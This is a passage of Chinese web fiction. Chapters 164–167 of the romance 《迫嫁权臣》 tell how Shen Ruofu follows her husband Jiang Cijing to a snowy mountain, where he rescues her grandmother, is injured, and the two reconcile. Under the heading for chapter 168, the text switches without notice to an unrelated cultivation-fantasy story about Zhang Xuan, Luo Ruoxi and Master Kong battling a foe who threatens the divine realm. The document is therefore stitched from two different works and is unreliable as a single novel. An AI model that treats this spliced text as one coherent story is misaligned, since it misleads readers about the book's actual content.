《迫嫁权臣》 第一百六十四章 营救 吴妈妈点点头,又劝说道:“夫人,依奴婢看,您还是别跟着去了,世子爷他们骑马跑得快,您就是到了宛平也赶不上他。倒不如留在家里等着,也免得世子爷为您担心。” 沈若芙摇摇头,神色沉重:“不,就算赶不上,我也要去。不管是为了外祖母,还是为了他,万一……我良心难安。” 吴妈妈不再劝她:“那您多带些护卫去,把丫头也带上。” …… 一个月前沈若芙开始学骑马时,一定想不到它除了玩乐还有别的用途。 两刻钟后,沈若芙骑着马带着沈家的护卫一路驰骋出了京城的城门,朝宛平赶去,小桃和纪大夫坐马车紧随其后。 寒兴寺位于宛平武明山上,因香火兴旺,早十年前官府就在此修建有阶梯。 可因连日的大雪,上山的阶梯都被厚厚的积雪覆盖住了,两边还有不少树木被大雪压塌,倒在了路上,以至通行困难,再加之今日是阴天,风又大,一不小心就会有跌落的风险。 别说寻常百姓,就是普通人家养的护院,也不敢在这种情况下贸然上山救援。 好在江辞镜身边的护卫都是训练有素的精锐,个个身手不凡。 江辞镜留了一个人守在山脚下,两个在后头清理断木,其余人跟他往山上爬。 沈若芙马骑得不比江辞镜快,一行人赶到武明山时,已近黄昏。 冬天天黑得早,山野里更是一点太阳都照不到,光线昏暗,驻守在原地的护卫燃起了火把。 他听见马蹄声,远远瞧见夫人骑在马背上,身后还跟了十来个护卫,还以为自己看花了眼,离得近了才敢确定,那真的是夫人,不由得暗暗吃了一惊,上前行礼。 “夫人,您怎么过来了?” 沈若芙直接翻身下马,问道:“世子爷呢?” 那护卫拱手道:“夫人放心吧,世子爷一个时辰前已经带着人上山搜寻了。” 沈若芙忧心忡忡地往山顶上看了半天,眼前乌漆嘛黑的什么都看不到。“天这么黑,他们可随身携带了火把?” “都带了。” “你们当中可有人曾来过此地?” “那倒没有。” “既然未曾来过,应该先花重金找个当地有经验的村民领路才是,怎么能贸然登山呢?万一迷了路,或遇到野兽袭击,该如何是好?” 护卫沉默了半晌,道:“属下听说,孟老夫人一行人已经在山上耽误了两日,情况紧急,世子爷怕是来不及多想。” 沈若芙叹了口气:“什么都没有,叫我如何安心……” 护卫神情复杂,一时不知道该说什么好,他总不能直接说,夫人您实属担心过头了吧? 他们世子爷打十六岁起开始在战场上冲锋陷坚,回回都冲在最前头,什么大风大浪没经历过。 最危险的一次,世子爷在和敌方浴血厮杀时,身中整整十二刀,可为了减少士兵伤亡,尽快结束战争,他顽强地没有倒下,最后一举捉拿贼首,立下大功。 还有一年去四川剿匪,世子爷带着士兵们埋伏在山里,结果不幸遇到十年难得一见的泥石流。当所有人都以为世子爷已命丧黄泉,连援军也不敢进山搜救时,五日后,世子爷竟然独自活着走回了军营! 区区一座盖了雪的小山坡,还不足为惧。 沈若芙想来想去,差了自己一个护卫去附近的村庄找人打听,问问正常爬到寒林寺大概需要多久,山势是否险峻,寺庙里通常住着多少口人,房屋建得牢固不牢固,有没有被雪压塌的风险,都两天了外祖母怎么会一点消息没有? 时间一点一点流逝,转眼半个时辰又过去了,沈若芙站在山脚下,紧紧盯着下山的路,心乱如麻。 一会儿在想江辞镜会不会遇到什么危险了,一会儿在想,这底下风都这么大,吹得她眼睛都快要睁不开,他们在半山腰会不会被吹得站都站不稳? 沈若芙知道这个时候,想再多也是无用,只能耐心等待,却还是忍不住胡思乱想。还没见到江辞镜人,脑海中就浮现出他不小心一脚踩空跌落山坡,然后又变成活死人躺在床上的画面。 至于外祖母,沈若芙压根不敢去想。 所以,当有两个身材粗壮的村民路过此地,得知他们有亲人被困在山上,自告奋勇要替他们上山救援,酬金五十两时,沈若芙毫不犹豫地答应了。 若真把人救下来,还得再给他们加五十两。 两个村民举着火把上山后,又过了大约一刻钟,黑漆漆的山林里终于亮起了一束束火光。 随着那明亮的火光逐渐靠近,连成一片,映照出领头两个村民黝黑的面容,沈若芙高悬的心终于落了下来。 然而仅仅只有一瞬,沈若芙再度紧绷起来。 她看到有两个护卫抬着担架,上头躺着的是她昏迷的外祖母。不等沈若芙上前看个仔细,余光就瞥见江炎背着一个人艰难地走了下来,惊得双腿发软,及时扶住飞雪的手才勉强站稳。 其实,沈若芙没有看清那人的面容,可能够让江炎亲自背一路,除了江辞镜还有谁? “快,把人抬到马车上去!” 留守的护卫指挥着下山的人,将两名伤者分别抬上两辆马车。 飞雪扶着沈若芙往后退,给护卫们让出一条道。 沈若芙只来得及瞥见江辞镜苍白得无一丝血色的脸。 江炎把世子爷背上马车放置妥当,又走到沈若芙跟前,拱手道:“夫人,属下带世子爷和孟老夫人先行一步,您骑马在后头小心跟上,注意天黑路滑,咱们一会儿到前头的客栈会合。” 沈若芙点点头:“我明白,你快去吧。” 这个时候,救人要紧。 江炎走后,孟家随行的众人陆续在护卫们的搀扶下到达山脚。一个中年妇人哭着朝沈若芙扑了过去,沈若芙正在为江辞镜出事而失魂落魄,待人扑到跟前,才认出她是自己的舅母韦氏。 “阿芙,你也来了。” 沈若芙搀扶住舅母的双臂,焦急道:“舅母,你可还安好?” 第一百六十五章 惊险 “我没什么事,就是你外祖母她……”话还未说完,舅母已泣不成声,以帕掩面,“都是我不好,早知道,我就不该答应你外祖母来此地上香,你外祖母若是没了,我也不想活了……” 沈若芙记挂着江辞镜和外祖母,自己也难过得不行,恨不得立即策马追上去,见舅母哭得一把鼻涕一把泪,还反过来安慰她。 “舅母,天色已晚,马上又要下雪了,此地不宜久留,我们先去客栈住下再慢慢说吧。” 韦氏哽咽着点了点头。 …… 大雪天出行的人少,又是临近过年,客栈里的客人并不多,只稀少的两位,江炎便直接花了三倍的价钱,将客栈的第二层全部包下,命护卫团团围住。 沈若芙到了客栈,先到江辞镜的房间门外,远远看了一眼,见大夫和江炎在床前照顾着,便赶紧和舅母去另一个房间看望外祖母。 外祖母躺在床上,仍旧昏迷着,脸色苍白,感觉全身都冻僵了。纪大夫正在为她把脉。 沈若芙握着舅母的手站在一旁,紧咬着下唇,手脚都在发抖,舅母的眼中已蓄满了泪水,可为了不打扰纪大夫,强撑着没有哭出来。 等纪大夫把完脉起身,沈若芙连忙上前问:“大夫,我外祖母情况如何?” 纪大夫摇摇头:“老人家年纪大了,身体本就不好,如今在山上冻了两日,更是寒邪入体,我只能尽我所能,明日一早,你们就把她送回京城,请更好的大夫悉心照料,用上最好的药材,能不能缓过来,就看她自己了。” 此话一出,舅母立即背过身去,掩面呜咽起来。 沈若芙眼含泪光,克制着情绪:“我明白了,多谢纪大夫。” 纪大夫颌首道:“夫人客气,那我先去买药了,有事您就差人就到隔壁叫我。” 沈若芙点点头,走到床边坐下,先把自己的手心搓热了,才伸到被褥里去摸外祖母的手。这一摸就把她吓了一跳,外祖母的手十分冰冷,一点温度都没有。 沈若芙心一颤,泪水一下就落下来了。 有护卫端了两个火盆进来,沈若芙忙让他们把火盆搬近些,再去和掌柜要一床被褥和几张帘子,把窗户的缝隙全都盖上。 这房间里没有地龙也没有火炕,阴冷潮湿,光靠这点东西御寒肯定是不够的。 等店小二把被褥拿过来,沈若芙给外祖母盖上,舅母也哭完了。 沈若芙便擦擦眼泪,让舅母先守着外祖母,自己到隔壁去查看江辞镜的情况。 到了隔壁的房间,却发现屋里只有江炎一个人守着,大夫也不在了。 沈若芙走到床边,一手捂着心口,一手缓缓掀开他的被褥,以为会看到触目惊心的一幕,却什么明显的伤势都没发现,心下疑惑,转头问江炎:“江护卫,世子爷哪里受伤了?” 江炎先看眼世子爷,才拱手道:“回夫人,我们是在半山腰的茅草屋找到孟老夫人的,当时孟老夫人已经昏迷了,护卫们便进去把她放到木板架上抬出来,结果刚抬到外头,周围就有一棵大树被积雪压塌,朝我们砸了下来,世子爷为了保护孟老夫人,冲过去用身体挡住了那棵树,方才被砸晕了。” “被树砸晕的?多粗的树?砸到哪了?后背还是脑袋?大夫怎么说?” 沈若芙面白如纸,有种比她预想中好一点又不太好的感觉。 好的点在于江辞镜没有失足滚落山崖,也没有缺胳膊少腿,不好的点在于树是真的能把人砸死的,而且他真的被砸晕了,现在还没醒来。 江炎想了想,说:“……就一棵环抱粗的树,主要砸在右边肩膀上。大夫说没有大碍,已经给上了伤药,应该再过一会儿就能醒来了,夫人不必担心。” 沈若芙捂住嘴,倒吸一口凉气。 都晕过去了,还没有大碍……要再砸偏一点,砸到脖子或脑袋,后果简直不堪设想。 江炎看着夫人眼中随时会滚落的泪珠,试探地问:“夫人,要不属下就先退下了?您在这儿陪着世子爷,属下想,等世子爷醒来,若能第一眼看见您,肯定会很高兴的。” 沈若芙捏着帕子擦了擦眼角,摇摇头:“不,我得去找我舅母问问我外祖母这几日的情况。你继续在这儿守着,一会儿他若醒了,你马上过来告诉我。” 江炎又看了眼直挺挺地躺在床上的世子爷,犹豫半晌,应道:“好。” 沈若芙回到外祖母的房间,拉着舅母到椅子上坐下,问: “舅母,你快告诉我,你们究竟是如何被困在山上的?” 她记得前世这个时候外祖母根本没有出事,外祖母的身体平日里弱归弱,可直到她死的那天,外祖母都活得好好的。 韦氏道:“我和你外祖母是十二月初六那天来的宛平探亲,住了八九天,你外祖母一直高高兴兴的,精神也很好。到了月中,你外祖母收到你写的信,说想趁着离开前,去寒林寺上香祈福,顺便看看风景,那会儿宛平还没有开始下雪,天气也不算特别冷。我原觉得不合适,可见你外祖母兴致颇高,便没有再三劝阻。” “我们到寒林寺的第一天还好好的,没想到夜里就下起了大雪,第二天早上起来,那下山的路全都被积雪覆盖了。我们原本打算在寺里住到天气转好再下山,可主持说,寺里剩余的口粮不多,最多只能管我们一天。” “到了昨天早上,雪停了,山上还出了太阳,你外祖母便想着干脆赶紧趁这个时候下山,别留在寺庙里给人添麻烦。” “可老人家接连两日没休息好,腿脚慢,路上的积雪又还未清理,走到一半,又下起了鹅毛大雪,那北风刮得我站都站不稳,更别说你外祖母了。我们一行人停在半路,根本下不去,没办法,只能在半山腰找了个废弃的茅草屋避雪。” “因为这次出游是临时起意,御寒的衣物和干粮都没带够,下人们只能捡点柴火给老夫人烧柴取暖,可风雪那么大,光烧柴哪里够呢?等世子爷和他的人找到我们的时候,你外祖母她……已经昏迷过去一个时辰了……” 第一百六十六章 真情 回想起山上的惊险和命悬一线的孟老夫人,韦氏再度在外甥女跟前泣不成声。 沈若芙知道舅母愧疚,如若外祖母就此去了,舅母怕是要一辈子活在阴影中。 可自己又何尝不愧疚呢? 前世这年的腊月,沈若芙刚刚嫁到国公府冲喜,万念俱灰,外祖母担忧她,别说大冬天去寺庙上香了,就是去宛平探亲都没心情,时不时地给她写书信询问她的状况,安慰她。 再想起前阵子,她给外祖母寄家书时,那段时间,她过得很轻松自在,与江辞镜相处的很好,还在学骑马,一切都很好,那些喜悦的情绪自然而然地在笔下流露出来。 外祖母是否是因此才起了游玩的兴致,沈若芙无从知晓,也不会特意去问。 “既然已经事情发生了,我们只能尽力弥补,舅母也别太自责了。” 韦氏哭着点点头。 飞雪将纪大夫煎好的药端了过来,沈若芙一勺一勺地喂外祖母喝下。随后把手伸到被褥底下,握着外祖母的手,眉眼间愁云密布。 坐了一会儿,韦氏轻声道:“阿芙,世子爷今日为救你外祖母受了伤,你过去那边陪陪他吧,这儿有舅母呢。” 沈若芙回过神,应道:“好。” …… 守在屋内的江炎看见夫人红着眼圈过来了,眼睛一亮,连忙低下头行礼告退。 沈若芙走到床边,正想问江炎为什么世子爷还不醒,就见他已经顺手合上了门扇。 她只好将视线重新落回江辞镜身上,看着白天还温声细语地握着她的手和她讲话的男人,眼下却无一丝生气地躺在床上,心脏一阵抽痛。 沈若芙在床头坐下,拉起江辞镜的手,想与他十指紧扣,却发现他布满薄茧的手心里尽是带了血迹的擦伤,顷刻间,泪如雨下。 “你为什么要对我这么好?” 她一边抽噎着,一边取了一条干净的帕子盖在上头,握住他的手:“……是不是因为我和你说过,外祖母对我很重要,你才奋不顾身地跑去救她……可你知不知道,你对我也很重要呀……” 是了,江辞镜定然是不知道的,他们成亲三个月,她一直在各种躲避他的示好,就连他的吻落下来她都能狠心躲开,一次都没有主动回应过他。 可他从来都是不气不恼的,只是用无奈的眼神看着她,然后转而微笑着摸摸她的发,有时候还会看她的眼色牵她的手。 沈若芙突然在想,他会不会以为自己很讨厌他,以为自己依旧没有原谅他的误解。如果他今日再也醒不过来,带着那些遗憾死去,到了九泉之下,他是否会后悔不该为她而牺牲? 想到这,沈若芙心如刀绞。 她不该总是犹豫不定的……过去如何,江辞年又如何?最重要的是她清楚的知道,她喜欢的是他江辞镜,而不是旁人,她就应该让他明白她的心意。 有些话一旦错过,就再没有机会说了。 沈若芙擦了擦眼泪,俯下身,在他的唇角轻轻落下一吻。 再抬首时,对上一双含着笑意的眼睛。 沈若芙:“……” 她坐起身,下意识想把手抽出来,却被江辞镜紧紧回握住。 “见我醒了就想跑?要不我还是再晕一会儿吧。”说着,江辞镜头一仰,真的重新闭上了眼。 直到感觉手中的人不再挣扎,江辞镜才睁开眼看向她。 这一瞧,就瞧见了一张带了几分疑惑,又布满泪水的美人面,一对柳眉微微蹙起,含羞带怨。 他正要开口,沈若芙脱口而出:“你什么时候醒的?” 醒得这样突然,该不会早醒了,所以刚才她说的那些话,他都听见了吗? 江辞镜还能不知她心里在想什么,笑着道:“夫人进来前我就醒着,夫人说的话,我也一字不落地听到了。” 沈若芙面上一羞,又要把手抽回来。 可第一次她没能成功,这一次自然也失败了。尴尬之下,只好移开目光,问道:“你感觉如何?可要叫大夫进来瞧瞧?” 江辞镜道:“什么大夫,有你在这儿看着我就足够了。” 沈若芙忍不住想恼他,又怜他才受了伤,抿了抿唇,正色道:“说正经的。” 江辞镜拉起她柔若无骨的小手,在她的手背上亲了亲。“这样够不够正经?” 他的嘴唇冰冰凉凉的,这一亲,把沈若芙那点本就不多的恼意给浇没了。 她终于能平静地转过去与江辞镜对视,却又在瞥见他苍白的唇色时,涌起一股酸涩。 沈若芙不想在他面前哭,努力把那股酸涩压下去,才轻声说:“江辞镜,你不该如此冒险……” 江辞镜:“这对于我而言,还算不上冒险。” 沈若芙不管:“可你受了伤,那就是冒险。” “凡事总有意外。”江辞镜柔声道,“况且,我怎能眼睁睁看着你外祖母遇险而什么都不做。我记得你曾说过,你的外祖母是你在这个世上最重要的人……” “她是我的外祖母,我可以为她牺牲,你不可以。”沈若芙一字一句道,“你是天下百姓的大将军,你就算是死也要死在战场上,而不能是为了我……” 不能是为了她这个连喜欢他都不敢说出口的懦夫…… 江辞镜注视着她的眼睛,认真地道:“可我江辞镜不是靠做缩头乌龟才当上这个大将军的。” “何况,我真的想知道,如果我救了她,我在你心中的地位,能不能变得像她和你三妹妹一样重要。” 沈若芙眼眶一酸,飞快地背过身去,用袖子抹掉眼泪,佯装生气地道:“那你可失策了,我们才成亲多长时间,你就是救了我外祖母,我对你也只是感激,你怎能妄想和我的外祖母三妹妹她们比?” “是吗?”江辞镜支着身体从床上坐起来,靠在床头。 “那我们来算一算,先不提你在我昏迷时和我说的那句话,就说你适才一到客栈,是不是先来看了我,才去看的你外祖母?” 第一百六十七章 无赖 沈若芙难以置信地回过头。 江辞镜继续说:“虽然你只在门口站了一会儿就走了,但你也说了,我们才成亲三个月,而你和你外祖母认识了十七年,又是血亲,这样算下来,我和她还是一样重要的。” 沈若芙不服输地:“那是因为你的房间离得近,我只是经过时顺便看了一眼,才不算。” “随你怎么说吧,反正你就是先看了我。” 沈若芙咬着下唇看了他半天,最后也只憋出一句:“……你真无赖。” 江辞镜心里正想,无赖又如何对她管用就行,就见上一刻还一脸幽怨地看着自己的妻子,突然扑进了他的怀里。 柔软如潮水般袭来,江辞镜强行咽下溢到喉咙的闷哼,抬起手臂紧紧回抱住她,发觉胸膛前传来一点湿意。 他愣住,感觉到她的后怕,心里一片软和,温柔地亲了亲她的头顶:“我这不都没事了?有你在,我怎么会舍得出事呢……” 沈若芙不语,只是一味地流泪。 她的眼泪与其说是后怕,不如说是懊悔,懊悔没有早点对他好一些,差点辜负了他这样好的人。 江辞镜试着用手里的帕子去擦她的脸。沈若芙却把脸往他怀里又埋了埋,不让他擦,也不想让他看见自己狼狈的样子。 江辞镜只好放任沈若芙把自己的中衣当帕子,沉默片刻,忽然笑了一下:“不管你是不是不希望我去冒险才这样说,你这张嘴,也只有亲我的时候是软的,其余时候都硬得跟石头似的。” 沈若芙想起那一吻,耳根一热,一只手揪紧他的衣摆,咬了咬牙,仰起脖子,对准他的唇亲了上去。 几乎是在沈若芙亲上来的那一瞬间,江辞镜便按住她的后脑勺亲了回去,没有片刻的怔愣与迟疑。 沈若芙惊讶于他的反应之快,但很快就被亲得喘不上气来,如同溺水一般,在愉悦与窒息之间起伏,全身上下每一寸肌肤都烧得滚烫。 江辞镜贴心地将沈若芙松开,让她喘一喘气。等她的脸颊又恢复了红润,再重新亲下去。 就在这时,屋外传来了一阵敲门声。 沈若芙从旖旎中回过神,连忙拿手抵住他的下巴,看向门口。 江辞镜就这样被迫离开了妻子清甜柔软的唇,只一双填满了渴望的眼睛目不转睛地盯着,喉咙不时地上下滚动。 随后两人听到了江炎的声音:“夫人,孟老夫人醒了。” 沈若芙精神一震,与江辞镜对视一眼。 江辞镜强压下那抹冲动,摸摸她的脸:“去吧。你欠我的,回去再补上。” 沈若芙想了想,才反应过来他要自己补什么,略微羞恼的松开他,起身往外走。 走到门前,又停住脚步,整理了一下仪容,用冰凉的手捂了捂自己的脸,让它凉下来一些,才伸手打开门。 …… 韦氏正坐在床前抽抽搭搭地同孟老夫人忏悔,连沈若芙进来也没有发现,还是老人家先瞥见了外孙女的身影,努力翻身往门口看去。 “外祖母,您快躺好了别动。”沈若芙疾步走上前。 韦氏见沈若芙来了,让出位置给她坐。 沈若芙一把握住外祖母的手,担忧道:“外祖母,你感觉如何?可好些了?” “好多了。”孟老夫人慈爱地笑着,“这人上了年纪,不服老真是不行啊,你也不要怪你舅母和下人们,是我自个儿执意要去祈福的。” 能够再见到外孙女一面,不用凄惨地死在山上,这对老人家来说便是莫大的安慰了。 沈若芙明白,外祖母是怕自己撑不到舅舅回来,届时因为自己的死,让舅舅怨恨上舅母,所以一见面就先把这话说了,想让她帮着维护舅母。 可沈若芙没有心情在意这些,她只想让外祖母好起来,长命百岁,起码不能比前世走得早! 孟老夫人问:“我听你舅母说,今日是世子爷救了我?” 沈若芙点点头:“今日世子爷陪我回了趟沈家,他听说您被困在山上,立即就带人去救您了,还受了点小伤……不过他没有大碍,只是不方便过来看您。” 她不想让外祖母担心。何况,江辞镜还能那么用力地亲她,想来精神好得很,她也没有任何愧疚的这样说了。 “那就好。”孟老夫人欣慰地说,“能看到你和世子爷琴瑟和鸣,外祖母很高兴。只盼着能早点看到你们生个孩子,外祖母就死而无憾了。” “外祖母,您胡说什么呢。”沈若芙焦急道,“您忘了,您还有一个亲孙子没成亲呢,可不能偏心。起码要等到我和表哥的孩子都长大了,会叫曾祖母了,再来考虑要不要说这话。” 孟老夫人只是看着她笑。 沈若芙心里难过,却不在外祖母跟前表现出来。 她吩咐飞雪去和掌柜借小厨房,亲自熬了一锅清淡的小米粥。 外祖母刚醒来,不能一次吃太多东西,沈若芙只喂她吃了半碗就停下了,还让丫头给世子爷也送去了一碗。 江辞镜坐在床沿,看着矮几上的小米粥和一小碟咸菜,以及江炎刚端来过来不久的鸡丝面,抬头问:“夫人可吃过了?” 江炎:“吃过了,丫头说夫人和孟老夫人一起喝了粥,今晚和她舅母轮流在那边守夜。” 他们带了不少护卫和丫头,守夜这么累的事,其实交给下人就好了,但这是沈若芙的一片孝心,江辞镜也不好拦着她。 “行了,我知道了,你下去吧。” 江炎行礼告退。 累了一天,江辞镜自然是想吃一碗热腾腾的鸡丝面的,可那毕竟是芙儿的一片心意……想他们成亲三月,芙儿何曾给他送过吃食? 江辞镜犹豫片刻,最后还是端起那碗小米粥,配着咸菜吃得一干二净。 …… 翌日,晨光熹微,客栈里十分安静,走廊里隐隐有护卫走动的声音,为了不打扰老人家,大家伙都自觉放轻了脚步声。 沈若芙守的是上半夜,大约到丑时舅母就过来替她,让她到隔壁的屋子去睡了。 但沈若芙一心记挂着外祖母,躺在客栈不太稳固,一动还会咯吱咯吱响的木板床上翻来覆去地睡不着。一听见公鸡打鸣声,便起来了,让小桃服侍自己更衣洗漱,到隔壁去看外祖母。 第一百六十八章 回京 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 